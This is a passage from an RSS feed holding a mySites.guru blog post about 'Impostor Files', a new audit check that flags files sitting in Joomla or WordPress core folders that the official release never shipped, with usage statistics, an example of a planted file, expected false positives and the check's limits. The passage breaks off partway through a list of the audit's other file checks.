</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 3</category><category>end-of-life</category><category>security</category><category>site management</category><category>agency tools</category><category>migration</category><enclosure url="https://mysites.guru/img/og/blog/joomla-3-end-of-life-agency-retainers.png" length="0" type="image/png"/></item><item><title>Impostor Files: How to find every file in a core folder that core never shipped</title><link>https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/</link><guid isPermaLink="true">https://mysites.guru/blog/impostor-files-backdoors-in-core-folders/</guid><description>Joomla 5.4.7 ships exactly one file directly in /administrator/. Impostor Files lists everything else sitting in folders the CMS itself owns.</description><pubDate>Fri, 28 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introducing a new mySites.guru audit feature: Impostor Files Check&lt;/h2&gt;
&lt;div&gt;&lt;p&gt;Impostor Files is a new check in the mySites.guru audit, listed as &lt;em&gt;Check Core Folders For Impostor Files&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;It reports every file sitting in a folder the CMS itself owns that the CMS never shipped. Only the folders core is responsible for, rather than every non-core file on your site.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;A backdoor that avoids detection is one that looks like it belongs. No one plants &lt;code&gt;hacked.php&lt;/code&gt; in the web root any more. They plant &lt;code&gt;session.php&lt;/code&gt; among the libraries, or a second &lt;code&gt;index.php&lt;/code&gt; in a folder that already holds forty of them, nineteen levels down in a directory no one has opened since the site was built.&lt;/p&gt;
&lt;p&gt;Grep is no help, because the file looks like everything around it, and a signature scan only helps once somebody has seen that dropper before.&lt;/p&gt;
&lt;p&gt;There is one thing the attacker cannot fake. Every release of Joomla and WordPress ships a known, fixed set of files. Joomla 5.4.7 puts exactly one file directly in &lt;code&gt;/administrator/&lt;/code&gt;, and that file is &lt;code&gt;index.php&lt;/code&gt;. Anything else sitting there arrived some other way, and that is the whole check.&lt;/p&gt;
&lt;h2&gt;The old check returns 13,653 files on a median site&lt;/h2&gt;
&lt;p&gt;We already had a check for this, sort of. &lt;em&gt;Check Files That Are Not Core Files&lt;/em&gt; reports every file anywhere on your site that is not part of the CMS distribution, using &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;the same hashing pass the rest of the audit runs on&lt;/a&gt;. It works exactly as designed, and almost no one can use it.&lt;/p&gt;
&lt;p&gt;On 2026-08-27 we took the most recent completed audit of every site with a snapshot in the last thirty days and looked at what that check returns.&lt;/p&gt;





















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Result&lt;/th&gt;&lt;th&gt;Sites&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;More than 1,000 non-core files&lt;/td&gt;&lt;td&gt;99.8%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;More than 10,000 non-core files&lt;/td&gt;&lt;td&gt;68.3%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;More than 50,000 non-core files&lt;/td&gt;&lt;td&gt;5.9%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The median site returns &lt;strong&gt;13,653&lt;/strong&gt; files. The mean is higher still at 21,095, because the tail runs a long way: the ninety-ninth percentile is 135,192 and one site returns over 1.5 million.&lt;/p&gt;
&lt;p&gt;Nothing is broken. Every extension, plugin, theme and template you install adds files, and none of them are core files, so the count grows with ordinary use. The problem is that the answer looks identical on a clean site and on a hacked one. A list of thirteen thousand filenames is a haystack, and a webshell in &lt;code&gt;/wp-includes/&lt;/code&gt; sits somewhere in the middle of it looking like everything else.&lt;/p&gt;
&lt;p&gt;Here are both checks on the same site, one row above the other:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/impostor-files-audit-row.ClPApqo9_ZUqONH.webp&quot; srcset=&quot;https://mysites.guru/_astro/impostor-files-audit-row.ClPApqo9_Z1qcit2.webp 640w, https://mysites.guru/_astro/impostor-files-audit-row.ClPApqo9_ZOdNo6.webp 750w, https://mysites.guru/_astro/impostor-files-audit-row.ClPApqo9_20YnCE.webp 828w, https://mysites.guru/_astro/impostor-files-audit-row.ClPApqo9_1s2KRA.webp 1080w, https://mysites.guru/_astro/impostor-files-audit-row.ClPApqo9_Z1Tulux.webp 1280w, https://mysites.guru/_astro/impostor-files-audit-row.ClPApqo9_RCJVQ.webp 1668w, https://mysites.guru/_astro/impostor-files-audit-row.ClPApqo9_Z1zsFpq.webp 2048w, https://mysites.guru/_astro/impostor-files-audit-row.ClPApqo9_ZUqONH.webp 2096w&quot; alt=&quot;The Hacked question mark section of a mySites.guru audit, listing six checks with a count badge against each. From the top: 214 files matched suspect patterns, 88 hacked files at 100 percent certainty, 4 mailer scripts, 17 file uploaders, then Check Files That Are Not Core Files showing an amber badge reading 52746 Files, and finally Check Core Folders For Impostor Files with a red badge reading 19 of 554 files and a NEW label. Each row has Learn and Investigate buttons on the right.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2096px) 2096px, 100vw&quot; width=&quot;2096&quot; height=&quot;528&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;The site in that screenshot is a purposely hacked test install of Phil’s, so treat the numbers as a demonstration rather than a typical result. The shape is the point. The old check hands you &lt;strong&gt;52,746 rows&lt;/strong&gt; to read. The new one hands you 554, and tells you that 19 of them are executables.&lt;/p&gt;
&lt;h2&gt;Joomla ships one file in /administrator/, and it is index.php&lt;/h2&gt;
&lt;p&gt;Core is a tightly specified layout, and the numbers show how tight.&lt;/p&gt;
&lt;p&gt;Joomla 5.4.7 ships &lt;strong&gt;10,095 files across 2,877 folders&lt;/strong&gt;. Of those folders, &lt;strong&gt;1,589 hold exactly one file&lt;/strong&gt;, and 2,259 of them hold three or fewer. WordPress 6.8.2 ships 3,230 files across 325 folders. Every other release is just as fixed: Joomla 4.4.13 is 9,576 files, Joomla 3.9.23 is 6,410, Joomla 6.1.3 is 9,916 across 2,900 folders.&lt;/p&gt;
&lt;p&gt;The one-file rule is not a quirk of a single release, either. Joomla 6.1.3, the current version, also ships exactly one file directly in &lt;code&gt;/administrator/&lt;/code&gt;, and it is still &lt;code&gt;index.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;More than half of Joomla’s core folders contain a single file. That is the whole idea behind the check. If a folder is meant to hold one file and it holds two, the second one is worth thirty seconds of your attention, and there is no version of “normal use” that put it there.&lt;/p&gt;
&lt;p&gt;So Impostor Files asks a much narrower question than the old check. A file qualifies when its &lt;strong&gt;folder&lt;/strong&gt; appears in the official release and the &lt;strong&gt;file&lt;/strong&gt; does not. &lt;code&gt;/administrator/&lt;/code&gt; is a core folder, so a second file in it is reported. &lt;code&gt;/administrator/components/com_yourextension/&lt;/code&gt; is not a core folder, so nothing in it is reported and your extensions stay out of the way.&lt;/p&gt;
&lt;h2&gt;Spot the impostor in /libraries/src/Session/&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;/administrator/&lt;/code&gt; is the easy example, because one file is small enough to hold in your head. The check works identically nineteen levels down, in the folders where you have no idea what is supposed to be there.&lt;/p&gt;
&lt;p&gt;So here is a game. Below is &lt;code&gt;/libraries/src/Session/&lt;/code&gt; on a Joomla 5 site. Eight entries. Joomla ships seven of them.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/impostor-files-session-folder.BRrtzMWY_Z2gODVz.webp&quot; srcset=&quot;https://mysites.guru/_astro/impostor-files-session-folder.BRrtzMWY_Z2gODVz.webp 506w&quot; alt=&quot;A file listing of the folder libraries/src/Session on a Joomla 5 site, showing eight entries in this order: Session.php, MetadataManager.php, a Storage folder, SessionFactory.php, an EventListener folder, SessionManager.php, SessionManagerInterface.php, and an Exception folder.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 506px) 506px, 100vw&quot; width=&quot;506&quot; height=&quot;346&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Take thirty seconds. Every name is plausible, the file sizes are unremarkable, and every PHP file in that folder shares one modification time, so sorting by date tells you nothing at all.&lt;/p&gt;
Show me the answer&lt;div&gt;&lt;p&gt;It is &lt;code&gt;SessionManagerInterface.php&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Joomla 5.4.7 ships &lt;code&gt;Session.php&lt;/code&gt;, &lt;code&gt;MetadataManager.php&lt;/code&gt;, &lt;code&gt;SessionFactory.php&lt;/code&gt; and &lt;code&gt;SessionManager.php&lt;/code&gt; into that folder, plus the &lt;code&gt;Storage&lt;/code&gt;, &lt;code&gt;EventListener&lt;/code&gt; and &lt;code&gt;Exception&lt;/code&gt; subfolders. It ships no interface beside &lt;code&gt;SessionManager.php&lt;/code&gt;, and it never has. &lt;code&gt;SessionManagerInterface.php&lt;/code&gt; appears in no Joomla manifest, not in 5.4.7 and not in the current 6.1.3.&lt;/p&gt;&lt;p&gt;Which is a horrible thing to have to know. A PHP codebase full of &lt;code&gt;SomethingInterface.php&lt;/code&gt; files makes one more look like housekeeping, and this one is 1.7 KB, exactly the size of the real &lt;code&gt;SessionManager.php&lt;/code&gt; sitting directly above it, with the same modification time as every other file in the folder. There is nothing to notice.&lt;/p&gt;&lt;p&gt;Nothing except the release manifest, which says Joomla put seven things there and something else put the eighth. That is the entire check.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;For the record, that one is planted. It is a file on a test site we control, written to be as convincing as we could make it, because a screenshot of a real customer’s backdoor is not ours to publish.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru know what Joomla or WordPress actually shipped?&lt;/h2&gt;
&lt;p&gt;We hold the file list for the exact version your site is running, generated from the official release package. Every path, with its hash:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;administrator/index.php                          8f1c...&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;administrator/cache/index.html                   8ca096fda23d564fe62bc65ef5f498e0&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;administrator/components/com_actionlogs/config.xml   0ea0080554fbea75f60151a5d67f27b4&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;libraries/loader.php                             b96deb0e0d737e2a6a14082f6274e387&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That list is what the audit already compares your files against to spot modified core files. Impostor Files reuses it from the other direction: instead of asking which core files changed, it asks which files are in core’s folders without being in core’s list.&lt;/p&gt;
&lt;p&gt;This is manifest-driven, never a hardcoded list of folder names. Between Joomla 5.4.7 and 6.0.1, &lt;strong&gt;61 core folders disappear and 50 new ones appear&lt;/strong&gt;. A static list written against Joomla 5 would flag legitimate Joomla 6 files and miss real ones. Your site’s own version manifest is always right for your site.&lt;/p&gt;
&lt;p&gt;It also costs nothing extra to run. &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;The audit&lt;/a&gt; has already walked your webspace, hashed every file and imported the release list. The check is a database question over work that has already happened, so it does not add a second scan or another few minutes to your audit.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Note&lt;/p&gt;&lt;p&gt;Files at the very top of your site are included, not skipped. Joomla 5.4.7 ships six files in the web root, so a seventh one there is reported the same as one buried nineteen levels down.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;The executables list is the thing to read, not the executables count&lt;/h2&gt;
&lt;p&gt;You get two counts back, and they are not two versions of the same answer.&lt;/p&gt;
&lt;h3&gt;The Executables Count Is the Sharper of the Two&lt;/h3&gt;
&lt;p&gt;It counts program files only: &lt;code&gt;.php&lt;/code&gt;, &lt;code&gt;.phtml&lt;/code&gt;, &lt;code&gt;.php3&lt;/code&gt; through &lt;code&gt;.php8&lt;/code&gt;, &lt;code&gt;.phar&lt;/code&gt;, &lt;code&gt;.inc&lt;/code&gt;, &lt;code&gt;.pht&lt;/code&gt; and &lt;code&gt;.phps&lt;/code&gt;. The match is case-insensitive, because &lt;code&gt;.pHp5&lt;/code&gt; and &lt;code&gt;.PHTML&lt;/code&gt; are exactly the sort of thing a dropper uses to slip past a case-sensitive filter.&lt;/p&gt;
&lt;p&gt;What it is not is a number that reads zero on a healthy site. This post said it was when it first went up, and that was wrong. Once the check had run everywhere, the lowest count on any connected site was &lt;strong&gt;one&lt;/strong&gt;, on both platforms. A Joomla site most commonly shows six to nine and averages just under nine. A WordPress site averages between four and five. That is not because everybody is hacked; it is because Joomla and WordPress both write files into folders they own.&lt;/p&gt;
&lt;p&gt;The count therefore tells you how much reading you have to do. Only the list tells you whether you have a problem.&lt;/p&gt;
&lt;h3&gt;The Total Is Noisy on Purpose&lt;/h3&gt;
&lt;p&gt;It averages 332 files on a Joomla site and 23 on a WordPress one, with a worst case in the thousands. Almost all of it is ordinary:&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;What it is&lt;/th&gt;&lt;th&gt;Why it is in a core folder&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Your own uploads under &lt;code&gt;/images/&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Joomla ships &lt;code&gt;/images/banners/&lt;/code&gt;, so &lt;code&gt;/images/&lt;/code&gt; is core’s&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Extension language files under &lt;code&gt;/administrator/language/&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Core owns the folder, your extensions write into it&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Leftover &lt;code&gt;index.html&lt;/code&gt; guards from older Joomla versions&lt;/td&gt;&lt;td&gt;Shipped by a version you have since upgraded past&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Extension and vendor assets under &lt;code&gt;/media/&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Same as &lt;code&gt;/images/&lt;/code&gt;, core ships into it&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;.DS_Store&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Uploaded by somebody’s Mac&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;code&gt;/images/&lt;/code&gt; and &lt;code&gt;/media/&lt;/code&gt; are core folders, which is why their contents appear at all. Joomla ships &lt;code&gt;/images/banners/&lt;/code&gt; with sample banners in it, so every photo you have uploaded since sits in a folder core owns.&lt;/p&gt;
&lt;h2&gt;The three you will almost certainly see, and why each one is fine&lt;/h2&gt;
&lt;p&gt;In the week the check shipped, a customer switched on &lt;em&gt;Executables only&lt;/em&gt;, expected an empty list because that is what we had told them to expect, and got three files. All three were legitimate, and between them they explain most of what any Joomla site shows here.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;/administrator/cache/autoload_psr4.php&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Written by Joomla itself. It is a caching autoloader, created on page load if it is missing and rebuilt whenever you install or update an extension. Joomla 5.4 ships exactly one file into &lt;code&gt;/administrator/cache/&lt;/code&gt;, and that file is &lt;code&gt;index.html&lt;/code&gt;, so the folder belongs to core and this file does not.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;/administrator/components/com_joomlaupdate/restore_finalisation.php&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Left behind by an upgrade. Joomla shipped it in 3.x and in every 4.x release up to and including 4.4, then dropped it in 5.0 in favour of &lt;code&gt;finalisation.php&lt;/code&gt;. Joomla’s updater does not delete it, so it sits on disk being no part of the version you are actually running. You can see the files that should be in that folder &lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/5.4-dev/administrator/components/com_joomlaupdate&quot;&gt;in the Joomla repository&lt;/a&gt;. Of the three, this is the one to actually open. A filename that core used to ship, in a folder core owns, is an attractive thing for somebody to overwrite, and no one would look twice at it.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;/configuration.php&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Has never been a core file in any version. The release package contains &lt;code&gt;configuration.php-dist&lt;/code&gt;, and the Joomla installer writes your &lt;code&gt;configuration.php&lt;/code&gt; from it during setup. Every Joomla site therefore has a file in its web root that core never shipped, and the check reports it every time, correctly.&lt;/p&gt;
&lt;p&gt;None of the three is a finding. They are the check doing the job described at the top of this post: comparing your disk against what the official release contains, and being honest when the two differ. A file Joomla writes at runtime, a file an older Joomla shipped, and a file the installer created are all, in fact, not core files.&lt;/p&gt;
&lt;p&gt;The filters deal with two of them. &lt;em&gt;Hide cache and logs&lt;/em&gt; covers &lt;code&gt;/administrator/cache/&lt;/code&gt;, and &lt;em&gt;Hide config file&lt;/em&gt; covers &lt;code&gt;configuration.php&lt;/code&gt; by exact path. Nothing hides &lt;code&gt;restore_finalisation.php&lt;/code&gt;, so it is still there even under the &lt;strong&gt;Quiet view&lt;/strong&gt; preset, which is the correct behaviour for a file that used to be core and no longer is.&lt;/p&gt;
&lt;h2&gt;Nothing is hidden at source, because a dropper can sit in /images/ too&lt;/h2&gt;
&lt;p&gt;The obvious way to make the total useful is to exclude &lt;code&gt;/images/&lt;/code&gt; at source. We do not, because that hides real findings along with the noise. Attackers put PHP files in image folders constantly. It is one of the oldest tricks there is, and a check that will not look there without telling you is worse than one that shows you too much.&lt;/p&gt;
&lt;p&gt;So the filtering happens in the view, and you control it. Toggles are provided for images, language files, media, manifests, &lt;code&gt;index.html&lt;/code&gt; guards, dot files, SQL update scripts, cache and logs, and the site configuration file. There is an &lt;em&gt;Executables only&lt;/em&gt; toggle, a &lt;strong&gt;Quiet view&lt;/strong&gt; preset that switches on everything ordinary in one click while still showing executables, and a &lt;strong&gt;Show everything&lt;/strong&gt; button to put it back.&lt;/p&gt;
&lt;p&gt;Every filter defaults to off. The first view you get shows you everything, and hiding is your decision rather than ours. The filters are applied on your site in the query itself rather than on the page afterwards, so the count at the top always describes the same set of rows you are looking at.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/impostor-files-quiet-view.CF088-zi_1Dk14l.webp&quot; srcset=&quot;https://mysites.guru/_astro/impostor-files-quiet-view.CF088-zi_Z1VcN1p.webp 640w, https://mysites.guru/_astro/impostor-files-quiet-view.CF088-zi_Z2scdIr.webp 750w, https://mysites.guru/_astro/impostor-files-quiet-view.CF088-zi_Z294uxu.webp 828w, https://mysites.guru/_astro/impostor-files-quiet-view.CF088-zi_1rKigT.webp 1080w, https://mysites.guru/_astro/impostor-files-quiet-view.CF088-zi_Z1MR5Vh.webp 1280w, https://mysites.guru/_astro/impostor-files-quiet-view.CF088-zi_ZXLFWE.webp 1668w, https://mysites.guru/_astro/impostor-files-quiet-view.CF088-zi_1Dk14l.webp 1852w&quot; alt=&quot;The Impostor Files view filter bar with Quiet view active and nine filters switched on: hide images, language files, media, index.html, dot files, the config file, manifests, SQL updates, and cache and logs. Executables only is left off. Below it the file list shows the ten files that remain after the filter, among them /administrator/includes.php, /api/includes.php, /libraries/src/Document/PdfDocument.php and /bad.php, which is tagged Hacked File, and /yes.sorry, which is tagged Ransomware. Buttons above the list offer ordering by file name or modified date, an export, a reload, and Analyse Files with AI.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1852px) 1852px, 100vw&quot; width=&quot;1852&quot; height=&quot;1346&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;That is the same hacked test site with Quiet view switched on. Nine toggles take it from 554 rows down to ten, and now look at what is left.&lt;/p&gt;
&lt;p&gt;Joomla has an &lt;code&gt;/administrator/includes/&lt;/code&gt; folder, an &lt;code&gt;/api/includes/&lt;/code&gt; folder and an &lt;code&gt;/includes/&lt;/code&gt; folder. It ships no &lt;code&gt;includes.php&lt;/code&gt; file next to any of them. All three are in that list. Someone picked a filename that reads as the folder beside it, three times, and on a directory listing it slides straight past you.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/libraries/src/Document/PdfDocument.php&lt;/code&gt; is the same move done more carefully. That folder holds 33 core classes and most of them are named &lt;code&gt;SomethingDocument.php&lt;/code&gt;. A thirty-fourth one looks like it belongs, right up until you check it against the release and find Joomla never shipped it.&lt;/p&gt;
&lt;p&gt;Not everything left is sinister. &lt;code&gt;/robots.txt&lt;/code&gt; is there because Joomla ships &lt;code&gt;robots.txt.dist&lt;/code&gt; and expects you to rename it, so &lt;a href=&quot;https://mysites.guru/blog/robots-txt-for-joomla-and-wordpress/&quot;&gt;your own copy&lt;/a&gt; is a file core never shipped and the check reports it honestly. That is the trade for not hiding things at source.&lt;/p&gt;
&lt;p&gt;Each row exports to CSV if you would rather work through the list somewhere else. Files already matched by the other checks keep their badges here too, so a file the audit has independently called out as hacked is labelled as such in this list rather than looking like one more unexplained row.&lt;/p&gt;
&lt;h2&gt;Why does the list include my own .htaccess?&lt;/h2&gt;
&lt;p&gt;Because you put it there, and we would rather show it to you than guess.&lt;/p&gt;
&lt;p&gt;Without the executables restriction, &lt;code&gt;/administrator/&lt;/code&gt; flags on every site we measured. On all thirteen it was &lt;code&gt;.DS_Store&lt;/code&gt;, uploaded by somebody’s Mac. On three of them it was &lt;code&gt;.htaccess&lt;/code&gt; and &lt;code&gt;.htpasswd&lt;/code&gt;, which is Admin Tools password-protecting the administrator folder. That is a hardening measure we actively recommend, and it produces two files core never shipped, in a folder core owns.&lt;/p&gt;
&lt;p&gt;Which is why &lt;strong&gt;Impostor Files does not set the hacked flag and does not send you an email.&lt;/strong&gt; It reports. It never accuses. A check that shouts about your own hardening is a check you will switch off, and then it protects nothing.&lt;/p&gt;
&lt;h2&gt;WordPress gets a stronger rule than Joomla&lt;/h2&gt;
&lt;p&gt;WordPress earns a wider rule, because its core folders are stricter about who writes into them.&lt;/p&gt;
&lt;p&gt;Core WordPress 6.8.2 ships 93 files directly in &lt;code&gt;/wp-admin/&lt;/code&gt; and 572 across that whole tree, plus 244 directly in &lt;code&gt;/wp-includes/&lt;/code&gt; and 2,210 beneath it. WordPress 7.1 is bigger at 593 and 2,729, and just as exactly specified. Plugins do not write into either tree. Themes do not write into either tree. Core owns both, so we check them recursively: any file under &lt;code&gt;/wp-admin/&lt;/code&gt; or &lt;code&gt;/wp-includes/&lt;/code&gt; that core did not ship is reported, however deep it sits and whatever folder it is in.&lt;/p&gt;
&lt;p&gt;That matters because it catches a shell in a directory the attacker created themselves. A backdoor written into &lt;code&gt;/wp-includes/&lt;/code&gt; is a well worn move and &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;one of the first things to check if you think a WordPress site is hacked&lt;/a&gt;, because it is the last place an owner thinks to look and it is still there after a theme or plugin is replaced. On Joomla a folder like that is out of scope, for the reason set out below. On WordPress there is nowhere under those two trees to sit that we are not already looking.&lt;/p&gt;
&lt;p&gt;Two things get conflated here. The AccessPress backdoor wrote its webshell into &lt;code&gt;wp-includes/vars.php&lt;/code&gt;, a file WordPress ships, which makes it a modified core file rather than an impostor one. The audit’s core file integrity check is what catches that, by hash, and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;reverts it to the original in one click&lt;/a&gt;. Impostor Files answers the other half of the question: which files are sitting in core’s folders without being core’s.&lt;/p&gt;
&lt;h2&gt;WP-CLI already does part of this, on one site, over SSH&lt;/h2&gt;
&lt;p&gt;Credit where it is due. &lt;code&gt;wp core verify-checksums&lt;/code&gt; diffs your on-disk files against the WordPress.org checksums manifest and reports &lt;code&gt;File should not exist&lt;/code&gt; for anything extra in &lt;code&gt;wp-admin/&lt;/code&gt;, &lt;code&gt;wp-includes/&lt;/code&gt; or the web root. If you have shell access to a WordPress site, that command answers a good chunk of this question today and has done for years.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;wp&lt;/span&gt;&lt;span&gt; core&lt;/span&gt;&lt;span&gt; verify-checksums&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Warning:&lt;/span&gt;&lt;span&gt; File&lt;/span&gt;&lt;span&gt; should&lt;/span&gt;&lt;span&gt; not&lt;/span&gt;&lt;span&gt; exist:&lt;/span&gt;&lt;span&gt; wp-includes/class-wp-cache-init.php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We built this anyway, for three reasons.&lt;/p&gt;
&lt;p&gt;It covers &lt;strong&gt;Joomla&lt;/strong&gt;, which has no equivalent. WordPress.org publishes a checksums API; the Joomla project publishes no per-file manifest at all, which is why we generate ours from the release packages ourselves. On Joomla there is no command to point you at.&lt;/p&gt;
&lt;p&gt;It runs &lt;strong&gt;remotely, across every site at once&lt;/strong&gt;, with no SSH access, no WP-CLI installed and nothing to run by hand. That is the difference between a command you could run on a site you are already worried about and an answer that arrives for all of your sites on every audit, including the ones you were not worried about. Backdoors are found on the sites no one was thinking about.&lt;/p&gt;
&lt;p&gt;And it produces something you can work through. A shell command gives you a wall of text. The check gives you the file list with sizes and modification times, filters to cut the ordinary out of it, and a CSV export.&lt;/p&gt;
&lt;h2&gt;What this check cannot see on Joomla&lt;/h2&gt;
&lt;p&gt;We would rather tell you the limits of a check than let you assume it covers more than it does.&lt;/p&gt;
&lt;p&gt;On Joomla, this check cannot go recursive. &lt;code&gt;/administrator/components/&lt;/code&gt; is where your extensions legitimately live, so flagging everything under &lt;code&gt;/administrator/&lt;/code&gt; would flag every component you have ever installed and the check would be as useless as the one it replaces.&lt;/p&gt;
&lt;p&gt;Which means: &lt;strong&gt;on Joomla, a file at &lt;code&gt;/administrator/private/shell.php&lt;/code&gt; is not reported by this check&lt;/strong&gt;, because &lt;code&gt;/administrator/private/&lt;/code&gt; is not a folder core ships into, so it is not a folder we consider ours to police. A file dropped straight into &lt;code&gt;/administrator/&lt;/code&gt; is caught. A file dropped into a folder the attacker made is not.&lt;/p&gt;
&lt;h2&gt;One tool with one job will never show you everything&lt;/h2&gt;
&lt;p&gt;That file is not invisible. It is invisible &lt;strong&gt;to this check&lt;/strong&gt;, which is a different thing, and it is the reason the audit runs more than two dozen separate file and folder checks rather than one clever one.&lt;/p&gt;
&lt;p&gt;Impostor Files asks a single narrow question: is this file in a folder core owns, when core never shipped it? Ask a narrow question and you get a short answer, which is the entire point. But a narrow question also has a wrong side, and &lt;code&gt;/administrator/private/shell.php&lt;/code&gt; is on it.&lt;/p&gt;
&lt;p&gt;So other checks ask other questions about the same file:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;Check Files That Are Not Core Files&lt;/strong&gt;&lt;/em&gt; lists it, because it lists everything that is not core, anywhere. That is the noisy 13,653-row check from the top of this post, and this is the trade it exists for: it sees the file that Impostor Files cannot, and it buries the answer among thousands of rows. Neither check replaces the other, and running both is the only reason you get the file &lt;em&gt;and&lt;/em&gt; a list short enough to read.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;Check Suspect Patterns Matched Content In Files&lt;/strong&gt;&lt;/em&gt; reads what is inside it, against roughly 1,500 patterns. It does not care where the file sits.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;Hacked Files (100% Certain)&lt;/strong&gt;&lt;/em&gt; matches its hash against confirmed hacked files, so a known shell is named as one wherever somebody put it. &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;Which of those two to believe, and in what order&lt;/a&gt;, is its own subject.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;Check Files That Can Attempt To Upload Files&lt;/strong&gt;&lt;/em&gt; and &lt;em&gt;&lt;strong&gt;Check Files That Can Send An Email (or Mass Emails!)&lt;/strong&gt;&lt;/em&gt; find it by what it is able to do, which is how you catch a dropper and a spam relay that are not in any pattern list yet.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;Files Modified Between Audits&lt;/strong&gt;&lt;/em&gt; catches it the moment it appears, under any name, in any folder, which is how you spot &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;a site being re-hacked days after you cleaned it&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;PHP Files Should Not Be In These Certain Folders&lt;/strong&gt;&lt;/em&gt; finds PHP under &lt;code&gt;/images/&lt;/code&gt;, where &lt;a href=&quot;https://mysites.guru/blog/how-to-clean-up-dangerous-files-joomla-server/&quot;&gt;PHP has no business being&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;Locate And Review Double Extension Files&lt;/strong&gt;&lt;/em&gt; finds &lt;code&gt;name.php.xxx&lt;/code&gt;, and &lt;em&gt;&lt;strong&gt;Review Renamed Files&lt;/strong&gt;&lt;/em&gt; finds the &lt;code&gt;.old&lt;/code&gt;, &lt;code&gt;.bak&lt;/code&gt; and &lt;code&gt;.orig&lt;/code&gt; copies people leave behind.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;strong&gt;Locate And Review Hidden Files&lt;/strong&gt;&lt;/em&gt; and &lt;em&gt;&lt;strong&gt;Paths With Hidden Folders In Them&lt;/strong&gt;&lt;/em&gt; find dot-prefixed files and folders: &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;the &lt;code&gt;.tools&lt;/code&gt; and &lt;code&gt;.bak&lt;/code&gt; directories a listing does not show you by default&lt;/a&gt;.&lt;/li&gt;
